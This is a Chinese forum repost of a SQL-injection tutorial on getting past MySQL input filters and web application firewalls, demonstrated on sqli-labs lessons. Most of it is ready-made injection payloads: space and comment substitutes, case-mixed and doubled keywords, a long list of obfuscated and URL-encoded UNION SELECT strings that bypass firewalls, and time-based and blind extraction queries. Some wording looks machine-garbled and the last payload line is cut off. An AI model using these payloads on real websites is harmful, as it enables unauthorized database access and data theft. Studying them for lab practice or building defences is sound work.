勿忘初心做自己 发表于 2024-9-25 01:06:15

SQL注入实战:mysql绕过

目录

一.输入内容过滤
1.空格
(1)两个空格取代一个空格,用Tab取代空格,%a0=空格
(2)括号:
(3)反引号 `` 包住表名
(4)浮点数:
2.or and xor not
3.union,select,where
4.比力符号(<>)

一.输入内容过滤

1.空格

通过fuzz或延时来辅助判断
   select * from news where id=(select*from(select(sleep(5)))a)#
(1)两个空格取代一个空格,用Tab取代空格,%a0=空格

   %20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/
select/**/1,2        #/*解释*/
/*!select*/1,2        #/*!这里的语句可以执行*/
https://i-blog.csdnimg.cn/direct/70fb461d1fcf453b9bd91bbe1e625c1b.png
演示:sqli-labs less-26
https://i-blog.csdnimg.cn/direct/a0f9ef68c7464bb3acee25469b2c2271.png
https://i-blog.csdnimg.cn/direct/41d1960ca0094514bedf21dd944fcc7e.png
(2)括号:

在MySQL中,括号是用来包围子查询的。因此,任何可以盘算出效果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
   select(user())from dual where(1=1)and(2=2)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(3)反引号 `` 包住表名

   select * from`tb1`;
(4)浮点数:

   select * from users where id=8E0union select 1,2,3
select * from users where id=8.0union select 1,2,3
2.or and xor not

a、绕过姿态
利用or '1'='1闭合单引号大概||‘1大概团结查询,演示:sqli-labs less-23   用or绕过
https://i-blog.csdnimg.cn/direct/6dd87174357b4dc9bdd26b4e4c4a3ea9.pnghttps://i-blog.csdnimg.cn/direct/c650372227d84f9fb433918cfe4c38e2.png用团结查询:?id=1' union select 1,2,'3 (闭合单引号)登入成功
https://i-blog.csdnimg.cn/direct/c59be670b97548e693794570a32bd709.png?id=1改成?id=-1
https://i-blog.csdnimg.cn/direct/392e11ef130246f399d4d973f4032205.png
绕过姿态(利用这些举行绕过)
1、大小写变形,Or,OR,oR,And,ANd,aND等-代码中大小写不敏感都剔除
2、在这两个敏感词中添加解释,例如:a/**/nd 双写绕过oorr
3、利用符号取代--and --&&          --or--||  等
演示:sqli-labs less-25
?id=1 Anandd 1=1大概?id=1 && 1=1大概?id=-1 or 1=1
https://i-blog.csdnimg.cn/direct/a5621bfbfca64b37979cc0a657aede3e.png
https://i-blog.csdnimg.cn/direct/9d7f1cfdb0a240c2b2e1e3940aa95763.png
https://i-blog.csdnimg.cn/direct/888c1271c11e4985ba2ca390db84466c.png
3.union,select,where

   #WAF Bypassing Strings:
 /*!%55NiOn*/ /*!%53eLEct*/
 %55nion(%53elect 1,2,3)-- -
 +union+distinct+select+
 +union+distinctROW+select+
 /**//*!12345UNION SELECT*//**/
 /**//*!50000UNION SELECT*//**/
 /**/UNION/**//*!50000SELECT*//**/
 /*!50000UniON SeLeCt*/
 union /*!50000%53elect*/
 +#uNiOn+#sEleCt
 +#1q%0AuNiOn all#qa%0A#%0AsEleCt
 /*!%55NiOn*/ /*!%53eLEct*/
 /*!u%6eion*/ /*!se%6cect*/
 +un/**/ion+se/**/lect
 uni%0bon+se%0blect
 %2f**%2funion%2f**%2fselect
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 REVERSE(noinu)+REVERSE(tceles)
 /*--*/union/*--*/select/*--*/
 union (/*!/**/ SeleCT */ 1,2,3)
 /*!union*/+/*!select*/
 union+/*!select*/
 /**/union/**/select/**/
 /**/uNIon/**/sEleCt/**/
 /**//*!union*//**//*!select*//**/
 /*!uNIOn*/ /*!SelECt*/
 +union+distinct+select+
 +union+distinctROW+select+
 +UnIOn%0d%0aSeleCt%0d%0a
 UNION/*&test=1*/SELECT/*&pwn=2*/
 un?+un/**/ion+se/**/lect+
 +UNunionION+SEselectLECT+
 +uni%0bon+se%0blect+
 %252f%252a*/union%252f%252a /select%252f%252a*/
 /%2A%2A/union/%2A%2A/select/%2A%2A/
 %2f**%2funion%2f**%2fselect%2f**%2f
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 /*!UnIoN*/SeLecT+
#Union Select by PASS with Url Encoded Method:
   %55nion(%53elect)
   union%20distinct%20select
   union%20%64istinctRO%57%20select
   union%2053elect
   %23?%0auion%20?%23?%0aselect
   %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
   %55nion %53eLEct
   u%6eion se%6cect
   unio%6e %73elect
   unio%6e%20%64istinc%74%20%73elect
   uni%6fn distinct%52OW s%65lect
   %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
(1)利用解释符绕过
   常用解释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)利用大小写绕过
   id=-1'UnIoN/**/SeLeCT
(3)内联解释绕过
   id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
4.比力符号(<>)

(1)greatest(n1,n2,n3,...) //返回其中的最大值 (2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1 (3)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本大概日期。
利用greatest()、least():(前者返回最大值,后者返回最小值) 同样是在利用盲注的时候,在利用二分查找的时候需要利用到比力操作符来举行查找。如果无法利用比力操作符,那么就需要利用到greatest来举行绕过了。 最常见的一个盲注的sql语句:
   select * from users where id=1 and ascii(substr(database(),0,1))>64


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: SQL注入实战:mysql绕过